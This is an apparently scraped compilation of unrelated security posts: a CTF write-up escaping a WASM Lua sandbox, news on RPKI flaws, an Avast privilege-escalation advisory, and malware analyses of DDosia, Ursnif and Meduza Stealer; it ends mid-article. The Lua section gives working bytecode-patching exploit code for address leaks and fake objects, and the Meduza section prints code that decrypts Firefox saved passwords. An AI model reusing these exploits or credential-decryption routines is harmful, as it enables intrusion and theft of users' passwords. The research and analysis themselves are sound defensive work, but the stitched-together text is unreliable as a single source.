The function increments the index and checks if it still smaller than the limit. In that case, the index will be updated and the for loop continues – this is what we want!
We need to make sure that, once incremented with the x step (which, remember, is the address of the target TValue), the index is not greater than the limit (the number 1000000000000, in our code). Most likely, the problem here is that the leaked address, interpreted as an IEEE 754 double, is bigger than the constant used, so the execution never reaches the return i that would return the leak.
We can test this assumption by slightly modifying the code to add a return value after the for-loop ends:
# Code
asnum = load(string.dump(function(x)
for i = 0, 1000000000000, x do return i end
return -1 <--- IF x > 1000000000000, EXECUTION WILL GO HERE
end):gsub("\xca\x80\0\0", "\x38\0\0\x80"))
foo = function() print(1) end
print("foo:", foo)
print("leak:",asnum(foo))
# Output
foo: LClosure: 0x10df18
leak: -1 <--- OUR GUESS IS CONFIRMED
There’s a simple solution to this problem: by using x as both the step and the limit, we are sure that the loop will continue to the return statement.
The leak experiment thus becomes:
# Code
asnum = load(string.dump(function(x)
for i = 0, x, x do return i end
end):gsub("\xca\x80\0\0", "\x38\0\0\x80"))
foo = function() print(1) end
print("foo:", foo)
print("leak:",asnum(foo))
# Output
foo: LClosure: 0x10a0b0
leak: 2.3107345851353e-308
Looks like we are getting somewhere.
However, the clever will notice that the address of the function and the printed leaks do not seem to match. This is well explained in the original writeup: Lua thinks that the returned address is a double, thus it will use the IEEE 754 representation. Indeed, in the blogpost, the author embarks on an adventurous quest to natively transform this double in the integer binary representation needed to complete the addrof primitive.
We don’t need this. In fact, since Lua 5.3, the interpreter supports integer types!
This makes completing the addrof primitive a breeze, by resorting to the native string.pack and string.unpack functions:
# Code
asnum = load(string.dump(function(x)
for i = 0, x, x do return i end
end):gsub("\xca\x80\x00\x00", "\x38\x00\x00\x80"))
function addr_of(variable)
return string.unpack("L", string.pack("d", asnum(variable)))
end
foo = function() print(1) end
print("foo:", foo)
print(string.format("leak: 0x%2x",addr_of(foo)))
# Output
foo: LClosure: 0x10a0e8
leak: 0x10a0e8
Good, our leak now finally matches the function address!
Note: another way to solve the limit problem is to use the maximum double value, which roughly amounts to 2^1024.
Trust is the weakest link
The next piece of the puzzle is to find a way to craft fake objects.
For this, we can pretty much use the same technique used in the blogpost:
# Code
confuse = load(string.dump(function()
local foo
local bar
local target
return (function() <--- THIS IS THE TARGET CLOSURE WE ARE RETURNING
(function()
print(foo)
print(bar)
print("Leaking outer closure: ",target) <--- TARGET UPVALUE SHOULD POINT TO THE TARGET CLOSURE
end)()
end)
end):gsub("(\x01\x00\x00\x01\x01\x00\x01)\x02", "%1\x03", 1))
outer_closure = confuse()
print("Returned outer closure:", outer_closure)
print("Calling it...")
outer_closure()
# Output
Returned outer closure: LClosure: 0x109a98
Calling it...
nil
nil
Leaking outer closure: LClosure: 0x109a98 <--- THIS CONFIRMS THAT THE CONFUSED UPVALUE POINTS TO THE RIGHT THING
Two notable mentions here:
Again, in order to make things work with this interpreter I had to change the bytes in the patching. In this case, as the patching happens not in the opcodes but rather in the upvalues of the functions, I resorted to manually examining the bytecode dump to find a pattern that seemed the right one to patch – in this case, what we are patching is the “upvals table” of the outer closure.
We are returning the outer closure to verify that the upvalue confusion is working. In fact, in the code, I’m printing the address of the outer closure (which is returned by the function), and printing the value of the patched target upvalue, and expecting them to match.
From the output of the interpreter, we confirm that we have successfully confused upvalues.
If it looks like a Closure
Ok, we can leak the outer closure by confusing upvalues. But can we overwrite it? Let’s check:
# Code
confuse = load(string.dump(function()
local foo
local bar
local target
return (function()
(function()
print(foo)
print(bar)
target = "AAAAAAAAA"
end)()
return 10000000
end)(), 1337
end):gsub("(\x01\x00\x00\x01\x01\x00\x01)\x02", "%1\x03", 1))
confuse()
# Output
nil
nil
RuntimeError: Aborted(segmentation fault)
Execution aborted with a segmentation fault.
To make debugging simple, and ensure that the segmentation fault depends on a situation that I could control, I’ve passed the same script to the standalone Lua interpreter cloned locally, built with debugging symbols.
What we learn from GDB confirms this is the happy path:
After the inner function returns, the execution flow goes back to the outer closure. In order to execute the return 100000000 instruction, the interpreter will try fetching the constants table from the closure -> which will end up in error because the object is not really a closure, but a string, thanks to the overwrite in the inner closure.
…except this is not at all what is happening in the challenge.
Thanks for all the definitions
If you try to repeatedly execute (in the challenge UI) the script above, you will notice that sometimes the error appears as a segmentation fault, other times as an aligned fault, and other times it does not even errors.
The reason is that, probably due to how wasmoon is compiled (and the fact that it uses WASM), some of the pointers and integers will have a 32 bit size, instead of the expected 64. The consequence of this is that many of the paddings in the structs will not match what we have in standalone Lua interpreter!
Note: while this makes the usability of the standalone Lua as a debugging tool…questionable, I think it was still useful and therefore I’ve kept it in the writeup.
This could be a problem, for our exploit-y purposes. In the linked blogpost, the author chooses the path of a fake constants table to craft a fake object. This is possible because of two facts:
In the LClosure struct, the address of its Proto struct, which holds among the other things the constants values, is placed 24 bytes after the start of the struct.
In the TString struct, the content of the string is placed 24 bytes after the start of the struct.
Therefore, when replacing an LClosure with a TString via upvalues confusion, the two align handsomely, and the attacker thus controls the Proto pointer, making the chain work.
However, here’s the definitions of LClosure and TString for the challenge:
struct TString {
+0: (struct GCObject *) next
+4: (typedef lu_byte) tt
+5: (typedef lu_byte) marked
+6: (typedef lu_byte) extra
+7: (typedef lu_byte) shrlen
+8: (unsigned int) hash
+12: (union {
size_t lnglen;
TString *hnext;
}) u
+16: (char[1]) contents <--- CONTENTS START AFTER 16 BYTES
}
...
struct LClosure {
+0: (struct GCObject *) next
+4: (typedef lu_byte) tt
+5: (typedef lu_byte) marked
+6: (typedef lu_byte) nupvalues
+8: (GCObject *) gclist
+12: (struct Proto *) p <--- PROTO IS AFTER 12 BYTES
+16: (UpVal *[1]) upvals
}
Looking at the definition, it is now clear why the technique used in the blogpost would not work in this challenge: because even if we can confuse a TString with an LClosure, the bytes of the Proto pointer are not under our control!
Of course, there is another path.
Cheer UpValue
In the linked blogpost, the author mentions another way of crafting fake objects that doesn’t go through overwriting the Prototype pointer. Instead, it uses upvalues.
By looking at the definitions listed previously, you might have noticed that, while the Proto pointer in the LClosure cannot be controlled with a TString, the pointer to the upvals array is instead nicely aligned with the start of the string contents.
Indeed, the author mentions that fake objects can be created via upvalues too (but then chooses another road).
To see how, we can inspect the code of the GETUPVAL opcode in Lua, the instruction used to retrieve upvalues:
struct UpVal {
+0: (struct GCObject *) next
+4: (typedef lu_byte) tt
+5: (typedef lu_byte) marked
+8: (union {
TValue *p;
ptrdiff_t offset;
}) v
+16: (union {
struct {
UpVal *next;
UpVal **previous;
};
UpVal::(unnamed struct) open;
TValue value;
}) u
}
...
vmcase(OP_GETUPVAL) {
StkId ra = RA(i);
int b = GETARG_B(i);
setobj2s(L, ra, cl->upvals[b]->v.p);
vmbreak;
}
The code visits the cl->upvals array, navigates to the bth element, and takes the pointer to the TValue value v.p.
All in all, what we need to craft a fake object is depicted in the image below:
This deserves a try!
Unleash the beast
A good test of our object artisanship skills would be to create a fake string and have it correctly returned by our craft_object primitive. We will choose an arbitrary length for the string, and then verify whether Lua agrees on its length once the object is crafted. This should confirm the primitive works.
Down below, I will list the complete code of the experiment, which implements the diagram above:
local function ubn(n, len)
local t = {}
for i = 1, len do
local b = n % 256
t[i] = string.char(b)
n = (n - b) / 256
end
return table.concat(t)
end
asnum = load(string.dump(function(x)
for i = 0, x, x do return i end
end):gsub("\xca\x80\x00\x00", "\x38\x00\x00\x80"))
function addr_of(variable)
return string.unpack("L", string.pack("d", asnum(variable)))
end
-- next + tt/marked/extra/padding/hash + len
fakeStr = ubn(0x0, 12) .. ubn(0x1337, 4)
print(string.format("Fake str at: 0x%2x", addr_of(fakeStr)))
-- Value + Type (LUA_VLNGSTRING = 0x54)
fakeTValue = ubn(addr_of(fakeStr) + 16, 8) .. ubn(0x54, 1)
print(string.format("Fake TValue at: 0x%2x", addr_of(fakeTValue)))
-- next + tt/marked + v
fakeUpvals = ubn(0x0, 8) .. ubn(addr_of(fakeTValue) + 16, 8)
print(string.format("Fake Upvals at: 0x%2x", addr_of(fakeUpvals)))
-- upvals
fakeClosure = ubn(addr_of(fakeUpvals) + 16, 8)
print(string.format("Fake Closureat : 0x%2x", addr_of(fakeClosure)))
craft_object = string.dump(function(closure)
local foo
local bar
local target
return (function(closure)
(function(closure)
print(foo)
print(bar)
print(target)
target = closure
end)(closure)
return _ENV
end)(closure), 1337
end)
craft_object = craft_object:gsub("(\x01\x01\x00\x01\x02\x00\x01)\x03", "%1\x04", 1)
craft_object = load(craft_object)
crafted = craft_object(fakeClosure)
print(string.format("Crafted string length is %x", #crafted))
Note: as you can see, in the outer closure, I am returning the faked object by returning the _ENV variable. This is the first upvalue of the closure, pushed automatically by the interpreter for internal reasons. This way, I am instructing the interpreter to return the first upvalue in the upvalues array, which points to our crafted UpValue.
The output of the script confirms that our object finally has citizenship:
Fake str at: 0x10bd60
Fake TValue at: 0x112c48
Fake Upvals at: 0x109118
Fake Closureat : 0x109298
nil
nil
LClosure: 0x10a280
Crafted string length is 1337 <--- WE PICKED THIS LENGTH!
Escape from Alcawasm
In the linked blogpost, the author describes well the “superpowers” that exploit developers gain by being able to craft fake objects.
Among these, we have:
Arbitrary read
Arbitrary write
Control over the Instruction Pointer
In this last section, I’ll explain why the latter is everything we need to complete the challenge.
To understand how, it’s time to go back to the information gathering.
(More) Information Gathering
The description of the challenge hints that, in the WASM context, there is some kind of “win” function that cannot be invoked directly via Lua, and that’s the target of our exploit.
Inspecting the JS code that instantiates the WASM assembly gives some more clarity on this:
a || (n.global.lua.module.addFunction((e => {
const t = n.global.lua.lua_gettop(e)
, r = [];
for (let a = 1; a <= t; a++)
switch (n.global.lua.lua_type(e, a)) {
case 4:
r.push(n.global.lua.lua_tolstring(e, a));
break;
case 3:
r.push(n.global.lua.lua_tonumberx(e, a));
break;
default:
console.err("Unhandled lua parameter")
}
return 1 != r.length ? self.postMessage({
type: "error",
data: "I see the exit, but it needs a code to open..."
}) : 4919 == r[0] ? self.postMessage({
type: "win"
}) : self.postMessage({
type: "error",
data: "Invalid parameter value, maybe more l333t needed?"
}),
0
}
), "ii"),
Uhm, I’m no WASM expert, but it looks like this piece of code might just be the “win” function I was looking for.
Its code is not too complex: the function takes a TValue e as input, checks its value, converting it either to string or integer, and stores the result into a JS array. Then, the value pushed is compared against the number 4919 (0x1337 for y’all), and if it matches, the “win” message is sent (most likely then granting the final achievement).
Looking at this, it seems what we need to do is to find a way to craft a fake Lua function that points to the function registered by n.global.lua.module.addFunction, and invoke it with the 0x1337 argument.
But how does that addFunction work, and how can we find it in the WASM context?
Emscripten
Googling some more leads us to the nature of the addFunction:
You can use addFunction to return an integer value that represents a function pointer. Passing that integer to C code then lets it call that value as a function pointer, and the JavaScript function you sent to addFunction will be called.
Thus, it seems that wasmoon makes use of Emscripten, the LLVM-based WASM toolchain, to build the WASM module containing the Lua interpreter.
And, as it seems, Emscripten provides a way to register JavaScript functions that will become “callable” in the WASM. Digging a little more, and we see how the addFunction API is implemented:
SNIP
var ret = getEmptyTableSlot();
// Set the new value.
try {
// Attempting to call this with JS function will cause of table.set() to fail
setWasmTableEntry(ret, func);
} catch (err) {
if (!(err instanceof TypeError)) {
throw err;
}
#if ASSERTIONS
assert(typeof sig != 'undefined', 'Missing signature argument to addFunction: ' + func);
#endif
var wrapped = convertJsFunctionToWasm(func, sig);
setWasmTableEntry(ret, wrapped);
}
functionsInTableMap.set(func, ret);
return ret;
SNIP
},
Essentially, the function is being added to the WebAssembly functions table.
Now again, I’ll not pretend to be a WASM expert – and this is also why I decided to solve this challenge. Therefore, I will not include too many details on the nature of this functions table.
What I did understand, though, is that WASM binaries have a peculiar way of representing function pointers. They are not actual “addresses” pointing to code. Instead, function pointers are integer indices that are used to reference tables of, well, functions. And a module can have multiple function tables, for direct and indirect calls – and no, I’m not embarrassed of admitting I’ve learned most of this from ChatGPT.
Now, to understand more about this point, I placed a breakpoint in a pretty random spot of the WebAssembly, and then restarted the challenge – the goal was to stop in a place where the chrome debugger had context on the executing WASM, and explore from there.
The screenshot below was taken from the debugger, and it shows variables in the scope of the execution:
Please notice the __indirect_function_table variable: it is filled with functions, just as we expected.
Could this table be responsible for the interface with the win function? To find this out, it should be enough to break at some place where we can call the addFunction, call it a few times, then stop again inside the wasm and check if the table is bigger:
And the result in the WASM context, afterwards:
Sounds like our guess was spot on! Our knowledge so far:
The JS runner, after instantiating the WASM, invokes addFunction on it to register a win function
The win function is added to the __indirect_function_table, and it can be called via its returned index
The win function is the 200th function added, so we know the index (199)
The last piece, here, is figure out how to trigger an indirect call in WASM from the interpreter, using the primitives we have obtained.
Luckily, it turns out this is not so hard!
What’s in an LClosure
In the blogpost, I’ve learned that crafting fake objects can be used to control the instruction pointer.
This is as easy as crafting a fake string, and it’s well detailed in the blogpost. Let’s try with the same experiment:
# Code
SNIP
-- function pointer + type
fakeFunction = ubn(0xdeadbeef, 8) .. ubn(22, 8)
fakeUpvals = ubn(0x0, 8) .. ubn(addr_of(fakeFunction) + 16, 8)
fakeClosure = ubn(addr_of(fakeUpvals) + 16, 8)
crafted_func = craft_object(fakeClosure)
crafted_func()
# Output
SNIP
RuntimeError: table index is out of bounds
The error message tells us that the binary is trying to index a function at an index that is out of bound.
Looking at the debugger, this makes a lot of sense, as the following line is the culprit for the error:
call_indirect (param i32) (result i32)
Bingo! This tells us that our fake C functoin is precisely dispatching a WASM indirect call.
At this point, the puzzle is complete 🙂
Platinum Trophy
Since we can control the index of an indirect call (which uses the table of indirect functions) and we know the index to use for the win function, we can finish up the exploit, supplying the correct parameter:
Solving this challenge was true hacker enjoyment – this is the joy of weird machines!
Before closing this entry, I wanted to congratulate the author of the challenge (and of the attached blogpost). It is rare to find content of this quality. Personally, I think that the idea of preparing challenges as companion content for hacking writeups is a great honking ideas, and we should do more of it.
In this blogpost, we hacked with interpreters, confusions, exploitation primitives and WASM internals. I hope you’ve enjoyed the ride, and I salute you until the next one.
In a revealing new study, cybersecurity researchers from Germany have highlighted significant vulnerabilities and operational challenges within the Resource Public Key Infrastructure (RPKI) protocol, raising serious concerns about its current stability and security. While the protocol was designed to bolster the safety of internet traffic routing, researchers suggest it may fall short of its promises.
RPKI was introduced as a remedy for the inherent flaws in the Border Gateway Protocol (BGP), the backbone of internet traffic routing, which lacked essential security measures. RPKI enhances security by enabling network operators to verify the authenticity of BGP route origins through Route Origin Validation (ROV) and Route Origin Authorizations (ROA). In theory, this system should prevent the announcement of fraudulent or malicious routes. However, the study from Germany reveals that RPKI is far from infallible, with numerous vulnerabilities that could undermine its core purpose.
In early September, the White House integrated RPKI into its network infrastructure as part of a broader initiative to improve the security of the Internet, specifically targeting national security and economic vulnerabilities in the U.S. The decision was lauded as a forward-thinking move to address critical internet security gaps. Yet, just weeks later, this German report casts a shadow of doubt over the efficacy of RPKI.
The research outlines 53 vulnerabilities within RPKI’s software components, including critical issues such as Denial of Service (DoS), authentication bypass, cache poisoning, and even remote code execution. While many of these vulnerabilities were quickly patched, the rapid discovery of so many flaws raises alarm bells about the overall robustness of the protocol.
The study warns that RPKI, in its current iteration, is an attractive target for cybercriminals. The myriad vulnerabilities identified could lead to failures in the validation process, opening doors to significant attacks on the internet’s routing infrastructure. Worse yet, these flaws may even provide access to local networks where vulnerable RPKI software is in use.
One of the researchers’ gravest concerns is the potential for supply chain attacks, where cybercriminals could implant backdoors in the open-source components of RPKI. This could lead to a widespread compromise of the very systems meant to secure internet traffic routing.
Moreover, many operators have encountered difficulties in updating the RPKI code due to the lack of automation in the process. This bottleneck could delay crucial security patches, leaving around 41.2% of RPKI users exposed to at least one known attack.
Experts also raise questions about the U.S. government’s timing in adopting a protocol that may not yet be fully mature. While the White House’s efforts to bolster cybersecurity are commendable, the rapid deployment of RPKI before it reaches its full potential could have unintended consequences. The lack of automation and scalability tools further exacerbates the problem, as incorrect configurations or delayed updates could severely impair the protocol’s effectiveness.
Nonetheless, the researchers recognize that most internet technologies were introduced with imperfections and have evolved over time through practical use. They suggest that while Resource Public Key Infrastructure is not flawless, its adoption can still be a crucial step in strengthening internet security, provided it is continuously improved upon.
A high-severity vulnerability (CVE-2024-5102) has been discovered in Avast Antivirus for Windows, potentially allowing attackers to gain elevated privileges and wreak havoc on users’ systems. This flaw, present in versions prior to 24.2, resides within the “Repair” feature, a tool designed to fix issues with the antivirus software itself.
The vulnerability stems from how the repair function handles symbolic links (symlinks). By manipulating these links, an attacker can trick the repair function into deleting arbitrary files or even executing code with the highest system privileges (NT AUTHORITY\SYSTEM). This could allow them to delete critical system files, install malware, or steal sensitive data.
Exploiting this vulnerability involves a race condition, where the attacker must win a race against the system to recreate specific files and redirect Windows to a malicious file. While this adds a layer of complexity to the attack, successful exploitation could have devastating consequences.
“This can provide a low-privileged user an Elevation of Privilege to win a race-condition which will re-create the system files and make Windows callback to a specially-crafted file which could be used to launch a privileged shell instance,” reads the Norton security advisories.
Avast has addressed this vulnerability in version 24.2 and later of their antivirus software. Users are strongly encouraged to update their software immediately to protect themselves from potential attacks.
This vulnerability was discovered by security researcher Naor Hodorov.
Users of Avast Antivirus should prioritize updating to the latest version to mitigate the risk of exploitation. Ignoring this vulnerability could leave systems vulnerable to serious attacks, potentially leading to data loss, system instability, and malware infections.
This post is part of an analysis that I have carried out during my spare time, motivated by a friend that asked me to have a look at the DDosia project related to the NoName057(16) group. The reason behind this request was caused by DDosia client changes for performing the DDos attacks. Because of that, all procedures used so far for monitoring NoName057(16) activities did not work anymore.
Before starting to reverse DDosia Windows sample, I preferred to gather as much information as possible about NoName057(16) TTPs and a few references to their samples.
Avast wrote a very detailed article about that project and described thoroughly all changes observed in the last few months. Because of that, before proceeding with this post, If you feel you are missing something, I strongly recommend that you read their article.
Client Setup
According to the information retrieved from the Telegram channel of DDosia Project, there are a couple of requirements before executing the client. The very first action is to create your id through a dedicated bot that will be used later on for authentication purposes. After that, it’s necessary to put the client_id.txt file (generated from DDosia bot) and the executable file in the same folder. If everything has been done properly, it should be possible to observe that authentication process will be done correctly and the client is going to download targets from its server:
Figure 1: Client authenticated correctly
Dynamic analysis and process memory inspection
Here we are with the fun part. Because of the issues of analyzing GO binaries statically, I preferred to use a dynamic approach supported by Cape sandbox. In fact, executing the client with Cape it was possible to gather behavioral information to speed up our analysis (ref). Since the executable is going to be used for DDoS attacks, it’s easy to expect that most of the functions are related to network routines. One of the most interesting WindowsAPI refers to WSAStartup. This is interesting for us, because according to Microsoft documentation, it must be the first function to be used in order to retrieve socket implementation for further network operations:
The WSAStartup function must be the first Windows Sockets function called by an application or DLL. It allows an application or DLL to specify the version of Windows Sockets required and retrieve details of the specific Windows Sockets implementation. The application or DLL can only issue further Windows Sockets functions after successfully calling WSAStartup.
Moreover, starting to monitor network requests with Wireshark, give us additional information about client-server interactions and targets retrieving procedure:
Figure 2 – Request for target list
As already mentioned on Avast blogspot, the target list is encrypted and retrieved after the authentication process. However, performing DDoS attacks requires a decryption routine to make targets in cleartext and forward them to a proper procedure. With this insight, it’s possible to open up a debugger and set a breakpoint of WSAStartup and start exploring the process flow from that point.
Figure 3 – Exploring DDosia executable control flow
Exploring the process execution, it’s possible to observe that WSAStartup API is called two times before starting the attack. The first one has been used from the main thread to perform the authentication process on the server side, instead the second call will be done right after retrieving the target file and it will be used from another thread to start the attack phase. Since that information we are looking for has been already downloaded and hopefully decrypted (at the time of the second call) we could explore the process memory trying to identify our target list.
Figure 4 – Target stored in cleartext within process memory
As we expected, information is actually decrypted right before being used from threads that are in charge to flood the targets. From the cleartext sample, it’s also possible to reconstruct the original json file structure that follow this format:
At this point I have shown all procedures to quickly follow the execution flow until the decryption routine is called. From now on, it’s just a matter of looking for those data within process memory and extracting them for your own purpose. It’s worth noting that information won’t be stored decrypted forever, in fact, as the executable keeps running, the json file is actually mangled in a way that is not easy to resemble it properly.
A little bit of automation
Even if the analysis has been completed and targets are correctly retrieved, I thought that giving a little tool to extract that information would be useful. Instead of doing complex stuff, I wrote two simple scripts called targets.js and recover.py. The purpose of these two files is to allow analysts from different backgrounds to extract those targets, even performing a simple memory dump. Probably there are easier and smarter techniques out there, but it was also a good chance to put in practice DBI, which I have already covered in a previous post.
target.js: Frida script that aims to get a memory dump after the WSAStartup has been called for the second time (when payloads are in cleartext in memory).
recover.py: it’s a simple python script that retrieves structured information from the files dumped. It’s worth noting that I limited my script to look for structured information, retrieving IP and Hostname (additional improvements are left to user’s needs).
Script Testing
In order to run the mentioned scripts there are two requirements to fulfill:
Installing frida-tool (pip install frida-tools).
Create a folder named “dumps” in the same place where you run the target.js file.
If all requirements are satisfied it’s just a matter of running those scripts and getting the results. The first step is to run frida.exe, using the targets.js file that contains all the information to dump the process memory:
frida.exe <ddosia_client.exe> -l targets.js
PowerShell
If everything has been done correctly (please keep in mind the requirements), you should be able to see a message “[END] Memory dumped correctly” in your console.
Figure 5 – Dumping process Memory with Frida
Now you can navigate in dumps folder and run the python script using the following command line that is going to forward all dumped file from the current directory to the script that is going to print the result in your console:
python.exe recover.py (Get-Item .\*dump)
PowerShell
Figure 6 – Extracting DDosia targets from dump files
Final Notes
Before concluding, It’s worth mentioning that updates on these scripts and new techniques to dealing with further improvements of DDosia project are not going to be shown, because it represents a topic that I’m not following personally and I’m sure that more authoritative voices will keep track of this threat and its evolution.
[2023-11 – UPDATE ]
As mentioned in the section above I’m not able to provide updates on real-time DDosia Project changes, but since it represents a quite good challenge to sharpen my reversing skills on GO binaries (and I received unexpected feedback about this work), I decided to look in their new Windows client version.
Since I would like to keep this update note as brief as possible, I’ll go straight to the point. What really changes and makes the previous frida script ineffective are slightly binary improvements (mostly related to the syscalls used). Because of that I tried to switch monitored syscall to WriteConsoleW, hooking on the message that confirmed the numbers of targets retrieved. I found out that I really needed to change 1 line of the previous script to keep it updated. (Great example of code reuse xD).
Note:
The modification required was pretty easy, however, this change could be also more consistent for further updates (limiting to tweak a little bit with counter variable) since it exploits the feedback messages (e.g., target acquired, requests completed, rewards, etc..) that won’t be removed any time soon.
Moreover, most of this blogpost it’s still a valid reference for setting up the environment and understanding the control flow to retrieve the actual targets, additionally, as far as I know, there were no great changes on the authentication layer. Previous configured environments needs to replace the old binary to the newer provided on DDosia channel.
Because of the massive Ursnif campaigns that hit Italy during the last weeks, I was looking for a lightweight method to quickly extract the last infection stage of all collected samples, in order to start further analysis effectively. Due to this, I wrote a little frida script that performs basic Dynamic Binary Instrumentation (DBI) to monitor useful function calls and extracts the Ursnif payload. In this article I am going to briefly discuss this script and the steps needed to start analyzing the resulting binary.
Since I would like to skip redundant topics that are already written all over the internet by people that are Jedi in this field, I’m going to limit this post linking references that would be nice to have to understand everything easily.
Most of the time, malware, in order to write memory and run code from the newly allocated space, make use of two functions, such as: VirtualAlloc (ref.) and VirtualProtect (ref.). For the purpose of our task, I have chosen the VirtualProtect function, because at the time of its calling, the data (payload) should be already there and it would be easier to analyze.
So let’s start to write out the code that retrieves the reference of this function and the interceptor that is going to be used to monitor function calls entry and return. Thanks to Frida, it is possible to directly retrieve function arguments through the variable args and check their values. The most important parameter and the one that will be used for our purpose is the lpAddress that represents the address space that is involved in this function call.
Figure 1 – References to VirtualProtect and call Interceptor
Because of the purpose of the article we are not interested in all VirtualProtect calls but we would like to limit our scope to ones that contain a PE header. To do this, it’s possible to verify if lpAddress starts with “MZ” or “5d4a”. If so, we could print out some values in order to check them against the running executable using tools such as ProcessMonitor or ProcessHacker.
Figure 2 – Printing VirtualProtect arguments
Retrieving the payload
Now comes the tricky part. If we simply apply this technique to dump the memory that contains the MZ, it would be possible for us to also dump the binary that we originally started the infection with. However, analyzing Ursnif code, it’s possible to see that it creates a dedicated memory space to write its final stage that is commonly referenced as a DLL. In order to avoid that, it’s possible to use a function findModuleByAddress that belongs to the Process object.
As reported by Frida documentation:
Process.findModuleByAddress(address) returns a Module whose address or name matches the one specified. In the event that no such module could be found, the find-prefixed functions return null whilst the get-prefixed functions throw an exception.
In order to avoid exception handling stuff I have preferred to go with find prefix function and then checking if the Module returned is equal to null. Otherwise, we would have an existing module object and module.base = image base.
Now, as a final step before moving on and dumping the actual payload, it’s necessary to retrieve the page size to which lpAddress belongs. That information could be retrieved using the findRangeByAddress that return an object with details about the range (memory page) containing address.
Figure 3 – Checking for payload address
Dumping config file
Now that we have all the information required, it’s time to dump the actual Ursnif payload. In order to do this, it’s possible to read the page related to lpAddress using the readByteArray using the module.size. Once the information has been stored, it’s possible to write it in a file that could be used later on for further manipulation and analysis.
Figure 4 – Dumping Ursnif payload
It’s worth noting that before proceeding with the configuration extraction phase, it’s necessary to modify Raw addresses and Virtual Addresses of each section header accordingly. This step is necessary because the payload was extracted directly from memory.
Script Testing
Now that we have completed our script it’s time for testing with a real case! Let’s take one of the recent samples delivered by the TA and see if it works. For this example I have chosen a publicly available sample on MalwareBazar.
Running the script against this sample with Frida as follow:
frida.exe <mal_executable> -l <your_script.js>
It will produce a file called 0x2cf0000_mz.bin (it may vary from the memory address allocation on your machine).
Figure 5 – Ursnif payload extraction with Frida
If we open this file with PE-Bear, what should alert us, is the import table that contains unresolved information. This happens, because our code has been extracted directly from memory and before proceeding with our analysis it is necessary to map the raw sections addresses with their virtual counterparts (for brevity I have prepared a script that is going to perform these steps automatically). After having settled the addresses properly, it’s possible to proceed with configuration extraction through a custom script (that is out of the scope for this post).
Meduza Stealer … Yes, you read it right, I did not misspelled it, is a new stealer that appeared on Russian-speaking forums at the beginning of June 2023. The stealer is written in C++ and is approximately 600KB in size. The DLL dependencies are statically linked to the binary, which reduces the detection. It’s also worth noting that the collected logs are not stored on the disk.
The stealer collects the data from 100 browsers which includes Chromium and Gecko browsers.
Other than browsers and cryptowallets, the stealer also collects sensitive information from password managers, Discord clients (Discord, DiscordCanary, DiscordPTB, Lightcord, DiscordDevelopment), and Telegram clients (Kotatogram, Telegram desktop).
With the new update of the stealer (version 1.3), the panel functionality has changed which allows the users to configure Telegram bot to receive the logs, the FileGrabber functionality was also added with the new update. The stealer also has the file size pumper feature that increases the file size to avoid sandbox and AV analysis; the feature is mostly deployed in all common stealers now, such as Vidar, WhiteSnake Stealer, and Aurora Stealer (RIP).
The stealer is priced at:
1 month – 199$
3 months – 399$
Meduza Stealer does not work in CIS (Commonwealth of Independent States) countries.
P.S: if anyone has the newest version of the stealer, please reach out to me 😉
An example of the received logs is shown below.
Technical Analysis
Logs are decrypted on the server side. Below is the snippet of master password decryption on Mozilla and other Gecko browsers. Taking, for example, the get key function. The code first checks if key4.db exists. This is the key database used by Firefox versions 58.0.2 and above. If key4.db exists, it opens an SQLite connection to the file and performs SQL queries to fetch the globalSalt and item2 data, which are used in decrypting the master key. It then checks if the decrypted text from item2 is equal to b’password-check\x02\x02’, a hardcoded string used by Firefox to verify the master password. If the master password is correct, it continues to the next step. Otherwise, it returns None, None, indicating a failure to retrieve the key and the algorithm. The function then queries the database to fetch a11 and a102. a11 is the encrypted master key, and a102 should match the constant CKA_ID. If a102 does not match CKA_ID, it logs a warning and returns None, None. It then decrypts a11 (the encrypted master key) using the decryptPBE function and the globalSalt. The first 24 bytes of the decrypted text are the key used to decrypt the login data. If key4.db does not exist, it checks for the existence of key3.db, which is the older key database used by Firefox. If key3.db exists, it reads the key data from the file and extracts the decryption key using the function extractSecretKey. It also hardcodes the cryptographic algorithm used (‘1.2.840.113549.1.12.5.1.3’, an OBJECTIDENTIFIER, is the identifier for the Triple DES encryption algorithm in CBC mode). If neither key4.db nor key3.db exists in the directory, it logs an error and returns None, None.
defget_key(masterPassword: bytes, directory: Path) -> Tuple[Optional[bytes], Optional[str]]:
if (directory / 'key4.db').exists():
conn = sqlite3.connect(directory / 'key4.db') # firefox 58.0.2 / NSS 3.35 with key4.db in SQLite
c = conn.cursor()
# first check password
c.execute("SELECT item1,item2 FROM metadata WHERE id = 'password';")
row = c.fetchone()
globalSalt = row[0] # item1
item2 = row[1]
printASN1(item2, len(item2), 0)
decodedItem2 = decoder.decode(item2)
clearText, algo = decryptPBE(decodedItem2, masterPassword, globalSalt)
if clearText == b'password-check\x02\x02':
c.execute("SELECT a11,a102 FROM nssPrivate;")
for row in c:
if row[0] != None:
break
a11 = row[0] # CKA_VALUE
a102 = row[1]
if a102 == CKA_ID:
printASN1(a11, len(a11), 0)
decoded_a11 = decoder.decode(a11)
# decrypt master key
clearText, algo = decryptPBE(decoded_a11, masterPassword, globalSalt)
return clearText[:24], algo
else:
logger.warning('No saved login/password')
return None, None
elif (directory / 'key3.db').exists():
keyData = readBsddb(directory / 'key3.db')
key = extractSecretKey(masterPassword, keyData)
return key, '1.2.840.113549.1.12.5.1.3'
else:
logger.error('Cannot find key4.db or key3.db')
return None, None
defgecko_decrypt(
s_path: str,
master_password: str = ""
) -> Optional[List[GeckoLogin]]:
try:
path = Path(s_path)
key, algo = get_key(master_password.encode(), path)
if key is None:
raise ValueError("Unknown error: try to specify master password")
logins = getLoginData(path)
if len(logins) == 0:
logger.warning("No stored passwords")
else:
logger.info("Decrypting login/password pairs")
result: List[GeckoLogin] = []
if algo == '1.2.840.113549.1.12.5.1.3' or algo == '1.2.840.113549.1.5.13':
for login in logins:
assert login[0][0] == CKA_ID
res = GeckoLogin()
res.url = login[2]
iv = login[0][1]
ciphertext = login[0][2]
res.username = unpad(DES3.new(key, DES3.MODE_CBC, iv).decrypt(ciphertext), 8).decode()
iv = login[1][1]
ciphertext = login[1][2]
res.password = unpad(DES3.new(key, DES3.MODE_CBC, iv).decrypt(ciphertext), 8).decode()
result.append(res)
logger.debug(result)
return result
except KeyboardInterrupt as ki:
raise ki
except BaseException as error:
return logger.error(f"{type(error).__name__}: {str(error)}")
Below is the snippet of how the logs are parsed and sent to Telegram Bot. The logs are compressed with 7z.
